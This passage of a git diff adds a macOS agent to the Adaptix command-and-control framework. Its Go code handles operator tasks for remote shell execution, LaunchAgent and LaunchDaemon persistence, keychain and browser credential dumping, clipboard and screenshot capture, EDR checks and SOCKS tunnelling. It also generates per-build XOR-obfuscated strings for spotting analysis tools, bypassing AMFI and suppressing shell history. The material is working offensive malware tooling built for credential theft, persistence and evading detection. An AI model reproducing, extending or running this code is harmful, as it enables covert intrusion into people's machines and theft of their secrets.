Command{Code: COMMAND_PWD, Data: nil} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsRm{Path: path}) + cmd = Command{Code: COMMAND_RM, Data: packerData} + + case "run": + taskData.Type = adaptix.TASK_TYPE_JOB + + prog, err := getStringArg(args, "program") + if err != nil { + goto RET + } + runArgs, _ := args["args"].(string) + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + cmdArgs, _ := shlex.Split(runArgs) + packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_RUN, Data: packerData} + + case "shell": + cmdParam, err := getStringArg(args, "cmd") + if err != nil { + goto RET + } + + // macOS: always use /bin/zsh (default shell on macOS) + cmdArgs := []string{"-c", cmdParam} + packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/zsh", Args: cmdArgs}) + cmd = Command{Code: COMMAND_SHELL, Data: packerData} + + case "screenshot": + cmd = Command{Code: COMMAND_SCREENSHOT, Data: nil} + + case "clipboard": + cmd = Command{Code: COMMAND_CLIPBOARD, Data: nil} + + case "persist": + if subcommand == "launchagent" || subcommand == "launchdaemon" { + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "install", Method: subcommand, Name: name}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else if subcommand == "remove" { + method, err := getStringArg(args, "method") + if err != nil { + goto RET + } + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "remove", Method: method, Name: name}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else if subcommand == "status" { + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "status"}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else { + err = errors.New("subcommand must be 'launchagent', 'launchdaemon', 'remove', or 'status'") + goto RET + } + + case "tcc_check": + cmd = Command{Code: COMMAND_TCC_CHECK, Data: nil} + + case "defaults_read": + domain, _ := getStringArg(args, "domain") + packerData, _ := msgpack.Marshal(ParamsDefaults{Domain: domain}) + cmd = Command{Code: COMMAND_DEFAULTS, Data: packerData} + + case "edr_check": + cmd = Command{Code: COMMAND_EDR_CHECK, Data: nil} + + case "keychain": + if subcommand == "list" { + packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "list"}) + cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData} + } else if subcommand == "dump" { + packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "dump"}) + cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData} + } else { + err = errors.New("subcommand must be 'list' or 'dump'") + goto RET + } + + case "browser_dump": + browser, err := getStringArg(args, "browser") + if err != nil { + goto RET + } + target, _ := getStringArg(args, "target") + if target == "" { + target = "list" + } + packerData, _ := msgpack.Marshal(ParamsBrowserDump{Browser: browser, Target: target}) + cmd = Command{Code: COMMAND_BROWSER_DUMP, Data: packerData} + + case "socks": + taskData.Type = adaptix.TASK_TYPE_TUNNEL + + portNumber, ok := args["port"].(float64) + port := int(portNumber) + if ok { + if port < 1 || port > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + } + if subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + auth := getBoolArg(args, "-a") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "upload": + remote_path, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + zipContent, zipErr := ZipBytes(fileContent, remote_path) + if zipErr != nil { + err = zipErr + goto RET + } + + chunkSize := 0x500000 // 5Mb + bufferSize := len(zipContent) + + inTaskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + finish := false + if fin >= bufferSize { + fin = bufferSize + finish = true + } + + inPackerData, _ := msgpack.Marshal(ParamsUpload{ + Path: remote_path, + Content: zipContent[start:fin], + Finish: finish, + }) + inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData} + + if finish { + cmd = inCmd + break + + } else { + inTaskData.Data, _ = msgpack.Marshal(inCmd) + inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) + + Ts.TsTaskCreate(agentData.Id, "", "", inTaskData) + } + } + + case "zip": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + zip_path, err := getStringArg(args, "zip_path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsZip{Src: path, Dst: zip_path}) + cmd = Command{Code: COMMAND_ZIP, Data: packerData} + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, _ = msgpack.Marshal(cmd) + +RET: + return taskData, messageData, err +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData + + taskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + FinishDate: time.Now().Unix(), + MessageType: adaptix.MESSAGE_SUCCESS, + Completed: true, + Sync: true, + } + + var ( + inMessage Message + cmd Command + job Job + ) + + err := msgpack.Unmarshal(decryptedData, &inMessage) + if err != nil { + return errors.New("failed to unmarshal message") + } + + if inMessage.Type == 1 { + + for _, cmdBytes := range inMessage.Object { + err = msgpack.Unmarshal(cmdBytes, &cmd) + if err != nil { + continue + } + + TaskId := cmd.Id + commandId := cmd.Code + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + var params AnsCat + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("'%v' file content:", params.Path) + task.ClearText = string(params.Content) + + case COMMAND_CD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_CP: + task.Message = "Object copied successfully" + + case COMMAND_PWD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_KILL: + task.Message = "Process killed" + + case COMMAND_EXIT: + task.Message = "The agent has completed its work (kill process)" + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_JOB_LIST: + var params AnsJobList + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var jobList []JobInfo + err = msgpack.Unmarshal(params.List, &jobList) + if err != nil { + continue + } + + Output := "" + if len(jobList) > 0 { + Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type") + Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------") + + for _, value := range jobList { + stringType := "Unknown" + if value.JobType == 0x2 { + stringType = "Download" + } else if value.JobType == 0x3 { + stringType = "Process" + } + + Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType) + } + + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOB_KILL: + task.Message = "Job killed" + + case COMMAND_LS: + var params AnsLs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + // macOS agent: always Unix-style listing + var items []adaptix.ListingFileDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Files []FileInfo + err := msgpack.Unmarshal(params.Files, &Files) + if err != nil { + continue + } + + filesCount := len(Files) + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path) + } else { + + modeFsize := 1 + lnkFsize := 1 + userFsize := 1 + groupFsize := 1 + sizeFsize := 1 + dateFsize := 1 + + for _, f := range Files { + val := fmt.Sprintf("%d", f.Nlink) + if len(val) > lnkFsize { + lnkFsize = len(val) + } + val = fmt.Sprintf("%d", f.Size) + if len(val) > sizeFsize { + sizeFsize = len(val) + } + if len(f.Mode) > modeFsize { + modeFsize = len(f.Mode) + } + if len(f.User) > userFsize { + userFsize = len(f.User) + } + if len(f.Group) > groupFsize { + groupFsize = len(f.Group) + } + if len(f.Date) > dateFsize { + dateFsize = len(f.Date) + } + } + + format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize) + OutputText := "" + for _, fi := range Files { + OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename) + + fileData := adaptix.ListingFileDataUnix{ + IsDir: fi.IsDir, + Mode: fi.Mode, + User: fi.User, + Group: fi.Group, + Size: fi.Size, + Date: fi.Date, + Filename: fi.Filename, + } + + items = append(items, fileData) + } + + task.Message = fmt.Sprintf("Listing '%s'", params.Path) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesUnix(task, params.Path, items) + + case COMMAND_MKDIR: + task.Message = "Directory created successfully" + + case COMMAND_MV: + task.Message = "Object moved successfully" + + case COMMAND_PS: + var params AnsPs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + // macOS agent: always Unix-style process listing + var proclist []adaptix.ListingProcessDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Processes []PsInfo + err := msgpack.Unmarshal(params.Processes, &Processes) + if err != nil { + continue + } + + procCount := len(Processes) + if procCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = adaptix.MESSAGE_ERROR + break + } else { + pidFsize := 3 + ppidFsize := 4 + ttyFsize := 3 + contextFsize := 7 + processFsize := 7 + + for _, p := range Processes { + val := fmt.Sprintf("%d", p.Pid) + if len(val) > pidFsize { + pidFsize = len(val) + } + val = fmt.Sprintf("%d", p.Ppid) + if len(val) > ppidFsize { + ppidFsize = len(val) + } + if len(p.Tty) > ttyFsize { + ttyFsize = len(p.Tty) + } + if len(p.Context) > contextFsize { + contextFsize = len(p.Context) + } + if len(p.Process) > processFsize { + processFsize = len(p.Process) + } + + procData := adaptix.ListingProcessDataUnix{ + Pid: uint(p.Pid), + Ppid: uint(p.Ppid), + TTY: p.Tty, + Context: p.Context, + ProcessName: p.Process, + } + + proclist = append(proclist, procData) + } + + format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------") + + for _, p := range Processes { + OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process) + } + + task.Message = "Process list:" + task.ClearText = OutputText + } + } + Ts.TsClientGuiProcessUnix(task, proclist) + + case COMMAND_RM: + task.Message = "Object removed successfully" + + case COMMAND_SCREENSHOT: + // Check for error response first + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Screenshot error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsScreenshots + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + for _, screen := range params.Screens { + _ = Ts.TsScreenshotAdd(agentData.Id, "screenshot", screen) + } + task.Message = fmt.Sprintf("Screenshots taken: %d", len(params.Screens)) + + case COMMAND_SHELL: + // Check for error response first + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Shell error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Shell command output:" + task.ClearText = params.Output + + case COMMAND_CLIPBOARD: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Clipboard contents:" + task.ClearText = params.Output + + case COMMAND_PERSIST: + var params AnsPersist + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Persistence:" + task.ClearText = params.Output + + case COMMAND_TCC_CHECK: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "TCC Permissions:" + task.ClearText = params.Output + + case COMMAND_DEFAULTS: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Defaults output:" + task.ClearText = params.Output + + case COMMAND_EDR_CHECK: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "EDR/Security scan:" + task.ClearText = params.Output + + case COMMAND_KEYCHAIN: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Keychain:" + task.ClearText = params.Output + + case COMMAND_BROWSER_DUMP: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Browser data:" + task.ClearText = params.Output + + case COMMAND_UPLOAD: + var params AnsUpload + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("File uploaded: %s", params.Path) + + case COMMAND_ZIP: + var params AnsZip + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("Archive created: %s", params.Path) + + case COMMAND_ERROR: + var params AnsError + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Error:" + task.ClearText = params.Error + task.MessageType = adaptix.MESSAGE_ERROR + + case COMMAND_DOWNLOAD: + task.Message = "Download started" + task.Completed = false + + case COMMAND_RUN: + task.Message = "Process started (async)" + task.Completed = false + + case COMMAND_TUNNEL_START: + task.Message = "Tunnel starting" + task.Completed = false + + case COMMAND_TUNNEL_STOP: + task.Message = "Tunnel stopped" + + case COMMAND_TUNNEL_PAUSE: + task.Message = "Tunnel paused" + + case COMMAND_TUNNEL_RESUME: + task.Message = "Tunnel resumed" + + case COMMAND_TERMINAL_START: + task.Message = "Terminal starting" + task.Completed = false + + case COMMAND_TERMINAL_STOP: + task.Message = "Terminal stopped" + + default: + task.Message = "Unknown response" + task.MessageType = adaptix.MESSAGE_ERROR + } + + outTasks = append(outTasks, task) + } + + } else if inMessage.Type == 2 { + + for _, jobBytes := range inMessage.Object { + + err = msgpack.Unmarshal(jobBytes, &job) + if err != nil { + continue + } + + commandId := job.CommandId + + switch commandId { + + case COMMAND_DOWNLOAD: + var params AnsDownload + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + fileId := fmt.Sprintf("%08x", params.FileId) + + if params.Start { + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, params.Size) + } + + _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) + + if params.Finish { + if params.Canceled { + _ = Ts.TsDownloadClose(fileId, 4) + } else { + _ = Ts.TsDownloadClose(fileId, 3) + } + } + + case COMMAND_RUN: + var params AnsRun + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + task.Completed = params.Finish + + if params.Start { + task.Completed = false + task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid) + task.ClearText = "\n" + + } else if params.Finish { + task.Message = "Process finished" + task.ClearText = "\n" + + } else { + task.Completed = false + task.Message = "" + + if len(params.Stderr) > 0 { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "Stderr:" + task.ClearText = params.Stderr + } + if len(params.Stdout) > 0 { + task.ClearText = params.Stdout + } + } + + outTasks = append(outTasks, task) + + case COMMAND_TUNNEL_START, COMMAND_TUNNEL_STOP, COMMAND_TUNNEL_PAUSE, COMMAND_TUNNEL_RESUME: + proxyTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, proxyTask) + + case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP: + termTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, termTask) + } + } + } + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) + } + + _ = job + + return nil +} + +// xorEncode XOR-encodes a plaintext string with the given key and returns +// a Go byte literal string (e.g., "\x4a\x1b\x..."). +func xorEncode(plain string, key []byte) string { + var sb strings.Builder + kl := len(key) + for i := 0; i < len(plain); i++ { + sb.WriteString(fmt.Sprintf("\\x%02x", plain[i]^key[i%kl])) + } + return sb.String() +} + +// generateObfuscatedStrings produces a Go source file that replaces hardcoded +// sensitive strings with XOR-decoded equivalents. Each payload build gets a +// unique random key, so the encoded bytes differ across payloads. +func generateObfuscatedStrings(key []byte, buildNonce []byte) string { + // Strings to obfuscate — exported function name → plaintext + strs := map[string]string{ + // opsec_darwin.go + "StrHwModel": "hw.model", + "StrKernBootargs": "kern.bootargs", + "StrAmfiBypass": "amfi_get_out_of_my_way", + "StrSandboxEnv": "APP_SANDBOX_CONTAINER_ID", + "StrHopper": "/Applications/Hopper Disassembler v4.app", + "StrIDA": "/Applications/IDA Pro.app", + "StrGhidra": "/Applications/Ghidra.app", + "StrCharles": "/Applications/Charles.app", + "StrProxyman": "/Applications/Proxyman.app", + "StrWireshark": "/Applications/Wireshark.app", + // functions_darwin.go + "StrSystemVersionPlist": "/System/Library/CoreServices/SystemVersion.plist", + "StrProductVersion": "ProductVersion", + "StrMacOS": "MacOS", + // PTY env vars + "StrHistfile": "HISTFILE=/dev/null", + "StrHistfilesize": "HISTFILESIZE=0", + "StrHistsize": "HISTSIZE=0", + "StrHistory": "HISTORY=", + "StrHistsave": "HISTSAVE=", + "StrHistzone": "HISTZONE=", + "StrHistlog": "HISTLOG=", + } + + // Key literal + var keyLit strings.Builder + keyLit.WriteString("[]byte{") + for i, b := range key { + if i > 0 { + keyLit.WriteString(", ") + } + keyLit.WriteString(fmt.Sprintf("0x%02x", b)) + } + keyLit.WriteString("}") + + // Generate source + var src strings.Builder + src.WriteString("package utils\n\n") + src.WriteString("// AUTO-GENERATED — per-payload XOR-obfuscated strings.\n") + src.WriteString("// Do not edit. Regenerated on each build.\n\n") + src.WriteString(fmt.Sprintf("var xorKey = %s\n\n", keyLit.String())) + + // Build nonce — ensures unique binary hash per payload even with identical config + var nonceLit strings.Builder + nonceLit.WriteString("[]byte{") + for i, b := range buildNonce { + if i > 0 { + nonceLit.WriteString(", ") + } + nonceLit.WriteString(fmt.Sprintf("0x%02x", b)) + } + nonceLit.WriteString("}") + src.WriteString(fmt.Sprintf("var _ = %s // build nonce\n\n", nonceLit.String())) + + // Generate accessor functions + for name, plain := range strs { + encoded := xorEncode(plain, key) + src.WriteString(fmt.Sprintf("func %s() string { return Xor([]byte(\"%s\"), xorKey) }\n", name, encoded)) + } + + return src.String() +} diff --git a/AdaptixServer/extenders/macos_agent/pl_utils.go b/AdaptixServer/extenders/macos_agent/pl_utils.go new file mode 100644 index 000000000..8abb0d3d5 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_utils.go @@ -0,0 +1,418 @@ +package main + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "regexp" + "strconv" +) + +/// Protocol types — msgpack structs for agent communication +/// These are COPIED from gopher_agent, not shared. +/// Any macOS-specific additions go here without affecting gopher. + +type Profile struct { + Type uint `msgpack:"type"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Message types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +/// Answer / Params structs + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type AnsScreenshots struct { + Screens [][]byte `msgpack:"screens"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +/// Phase 4 — Persistence & Post-exploitation types + +type ParamsPersist struct { + Action string `msgpack:"action"` + Method string `msgpack:"method"` + Name string `msgpack:"name"` +} + +type AnsPersist struct { + Output string `msgpack:"output"` +} + +type ParamsDefaults struct { + Domain string `msgpack:"domain"` +} + +type ParamsKeychain struct { + Action string `msgpack:"action"` +} + +type ParamsBrowserDump struct { + Browser string `msgpack:"browser"` + Target string `msgpack:"target"` +} + +/// Command codes — must match agent-side defines + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_SCREENSHOT = 16 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // macOS-specific commands (slots 21-30) + COMMAND_CLIPBOARD = 21 + COMMAND_PERSIST = 22 + COMMAND_TCC_CHECK = 23 + COMMAND_DEFAULTS = 24 + COMMAND_EDR_CHECK = 25 + COMMAND_KEYCHAIN = 26 + COMMAND_BROWSER_DUMP = 27 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 + + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_OUTPUT_UTF8 = 0x20 + CALLBACK_ERROR = 0x0d + CALLBACK_CUSTOM = 0x1000 + CALLBACK_CUSTOM_LAST = 0x13ff + + CALLBACK_AX_SCREENSHOT = 0x81 + CALLBACK_AX_DOWNLOAD_MEM = 0x82 +) + +/// Utility functions + +func parseDurationToSeconds(input string) (int, error) { + re := regexp.MustCompile(`(\d+)(h|m|s)`) + matches := re.FindAllStringSubmatch(input, -1) + + if matches == nil { + input = input + "s" + matches = re.FindAllStringSubmatch(input, -1) + } + + totalSeconds := 0 + for _, match := range matches { + value, err := strconv.Atoi(match[1]) + if err != nil { + return 0, err + } + + switch match[2] { + case "h": + totalSeconds += value * 3600 + case "m": + totalSeconds += value * 60 + case "s": + totalSeconds += value + } + } + + return totalSeconds, nil +} + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func SizeBytesToFormat(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + GB = MB * 1024 + ) + + size := float64(bytes) + + if size >= GB { + return fmt.Sprintf("%.2f Gb", size/GB) + } else if size >= MB { + return fmt.Sprintf("%.2f Mb", size/MB) + } + return fmt.Sprintf("%.2f Kb", size/KB) +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/Makefile b/AdaptixServer/extenders/macos_agent/src_agent/Makefile new file mode 100644 index 000000000..ff1d6cd2f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/Makefile @@ -0,0 +1,44 @@ +# macOS Agent (Native C) — Development Makefile +# For manual testing / validation. Production builds use pl_main.go. + +CC = aarch64-apple-darwin23.5-clang +CFLAGS = -Os -fno-stack-protector -Wall -Wextra -Wno-unused-parameter -Wno-unused-function +LDFLAGS = -lSystem -framework 